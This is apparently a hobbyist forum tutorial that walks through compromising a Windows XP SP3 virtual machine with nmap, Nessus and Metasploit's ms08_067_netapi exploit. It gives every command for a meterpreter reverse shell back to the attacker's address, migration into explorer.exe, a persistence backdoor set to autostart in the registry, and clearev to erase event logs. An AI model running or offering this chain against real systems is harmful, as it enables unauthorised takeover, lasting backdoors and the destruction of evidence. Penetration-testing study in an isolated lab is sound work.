Exploit Windows XP SP3 Using Metasploit (msfconsole)

Holla Guys,

Lets do some exploitation.  :D

1. Startup your XP in Virtualbox
(for those who haven't installed xp in virtualbox can see the tutorial here

2. Make sure that the host(BT 5r1) and the XP are connected each other.

3. Lets scan the target to see the services running

# nmap -A 192.168.56.101

Spoiler:

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-01-28 05:25 WIT
Nmap scan report for 192.168.56.101
Host is up (0.00043s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:91:01:D1 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_nbstat: NetBIOS name: YUDHI-HOME, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:91:01:d1 (Cadmus Computer Systems)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Name: WORKGROUP\YUDHI-HOME
|_  System time: 2012-01-28 05:25:50 UTC+7

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.56.101

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds

4. Lets scan some vulnerabilities using Nessus.
(for how to use nessus you can go here)

After the scan finished, lets analyze the report.

Great, it says that our target smb service is vulnerable and its vulnerability level is high too.

pay attention to this

because we have to use it to search for the right exploit. or simply look at there.

That plugin name is the hint to search for the right exploit.

4. Lets search the exploit to attack that vulnerability on metasploit. Start your metasploit console.

# msfconsole

To search for exploit type

meterpreter > search platform:windows type:exploit cve:-2008-4834 app:server path:exploit/windows/smb

explanation : for the search sytax type "search -h"
platform : because the target is a windows system we choose this.
type : because we only want to search an exploit, we choose exploit for this.
cve : fill with the data from nessus scan.
app : server attack side.
path : because we want to search only exploits for smb set the path to this is right.
Hit, enter.

Notice that there is this exploit there, "ms08_067_netapi" that located at exploit/windows/smb/ms08_067_netapi. The one that have the same name as the plugin name that we've discovered with the nessus earlier. Important to know that almost all windows is vulnurable with this exploit. Lets use it.

5. Type these :

use exploit/windows/smb/ms08_067_netapi

explanation : by typing this we set the metasploit to use this exploit on the target.

set RHOST 192.168.56.101

explanation : RHOST is the target, set the ip with the target that you want to attack.

set PAYLOAD windows/meterpreter/reverse_tcp

explanation : meterpreter is the payload that we want to use. I'll explain more about payload later.

set LHOST 192.168.56.1

explanation : LHOST is the Listener HOST. this is us. set with our IP.

exploit

launch the attack.

6.If everything is done correctly, a meterpreter shell will appear on the target system.

7. From this point, the server is under our control. But to prevent the user kill our meterpreter process we must quickly migrate to the other services running.
To show the running process on the target system type

meterpreter > ps

search for explorer.exe process since it is the most important services on windows and identify the process number. Lets migrate to that service.

meterpreter > migrate [PID]

You can do whatever you want on the system now.

8. Ok, next step is placing a backdoor for later connection. Good for us metasploit also provided the script for it called "persistence". Lets see the usage of this script.

meterpreter > run persistence -h

Lets execute it.

meterpreter > run persistence -A -X -p 10000 -r 192.168.56.1

And thats it. A backdoor have been created on the target system.
(the backdoor will be located at C:\WINDOWS\TEMP directory. It is a .vbs file. The scirpt will also create an autostart in the registry key HKLM\Software\Microsoft\CurrentVersion\Run\XXXXX(random). So, when the pc start, the backdoor will also active. For tutorial to use the backdoor you can go here)

9. And don't forget to clear our hacking tracks.

meterpreter > clearev

To exit the shell just type "exit".

The elaboration from this attack based on the hacking methodology is
1. Information Gathering
Using nmap get the information.
2. Service Enumeration
Using nmap to see the services running.
3. Vulnerability Assessment
Using nessus to scan the vulnerability and metasploit to search the exploit.
4. Exploit
Using metasploit on console mode to take over the system.
5. Backdooring
Using metaspoit 'persistance' script to create backdoor.
6. Housekeeping
Using metasploit 'crearev' to clear the tracks.

Hope this helps.  :)
Lets make the History!!